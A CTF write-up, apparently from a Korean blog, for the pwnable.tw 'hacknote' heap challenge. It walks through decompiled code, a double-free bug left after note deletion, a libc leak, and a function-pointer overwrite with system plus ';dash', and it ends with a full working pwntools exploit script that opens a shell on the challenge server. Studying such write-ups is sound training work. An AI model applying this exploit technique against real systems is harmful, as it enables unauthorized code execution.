Challenge
Vulnerability
It looks like a heap exploit!
unsigned int SUB_add() { _DWORD *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( noteCnt <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !ptr[i] ) // when ptr[i] is empty { ptr[i] = malloc(8u); if ( !ptr[i] ) { puts("Alloca Error"); exit(-1); } *ptr[i] = SUB_func; // func ptr printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = ptr[i]; v0[1] = malloc(size); if ( !*(ptr[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *(ptr[i] + 1), size); puts("Success !"); ++noteCnt; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
Every note has main chunk and content chunk.
One more exciting thing is that main chunk has a function pointer! (printing content)
We may overwrite it as system function.
unsigned int SUB_printNote() { int index; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); index = atoi(buf); if ( index < 0 || index >= noteCnt ) { puts("Out of bound!"); _exit(0); } if ( ptr[index] ) (*ptr[index])(ptr[index]); return __readgsdword(0x14u) ^ v3; }
At line no. 17, we can see how function pointer is used.
So, the parameter is function pointer itself!
unsigned int SUB_delete() { int index; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); index = atoi(buf); if ( index < 0 || index >= noteCnt ) { puts("Out of bound!"); _exit(0); } if ( ptr[index] ) { free(*(ptr[index] + 1)); // content free(ptr[index]); // main chunk puts("Success"); } return __readgsdword(0x14u) ^ v3; }
In delete function, there is a vulnerability.
After deletion, it does not clear 'ptr[index]'. It means we can double free the chunk!
The exploit scenario is below here.
1. leak the libc address using chunk in unsorted bin (main_arena.top is written in freed chunk)
2. using double free, make the status like this:
A's main chunk == B's content chunk
3. write system function's address at A's function pointer position using B's content.
4. Because the parameter is function pointer itself, the string such as (system address) + ';bash' is overwritten.
FL4G
#!/usr/bin/env python # pwnable.tw hacknote from pwn import * debug = 0 def menu(choice): s.recvuntil('choice :') s.send(str(choice)) def add(size, content): # size : int, content : str menu(1) s.recvuntil('Note size :') s.send(str(size)) s.recvuntil('Content :') s.send(content) if debug: print('add finished') def delete(index): menu(2) s.recvuntil('Index :') s.send(str(index)) if debug: print('delete finished') def printNote(index): menu(3) s.recvuntil('Index :') s.send(str(index)) if debug: print('printNote finished') def exploit(): # libc leak add(0x60, 'A') # 0 add(0x08, 'b') # 1 delete(0) add(0x60, 'z'*4) # 2 printNote(0) s.recvuntil('z' * 4) re = u32(s.recv(4)) libc_base = re - 0x1b07b0 if debug: log.info('libc_base : '+hex(libc_base)) system = libc_base + 0x3a940 delete(1) delete(1) add(0x40, 'x') # 3 add(9, p32(system)+';dash') # 4 printNote(3) if __name__ == '__main__': if debug: s = process('./hacknote') pause() else: s = remote('chall.pwnable.tw', 10102) exploit() s.interactive() s.close()
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] applestore writeup (0) | 2018.10.11 |
---|---|
[pwnable.tw] Silver Bullet writeup (0) | 2018.10.11 |
[pwnable.tw] dubblesort writeup (0) | 2018.10.11 |
[pwnable.tw] calc writeup (0) | 2018.10.11 |
[pwnable.tw] orw writeup (0) | 2018.10.11 |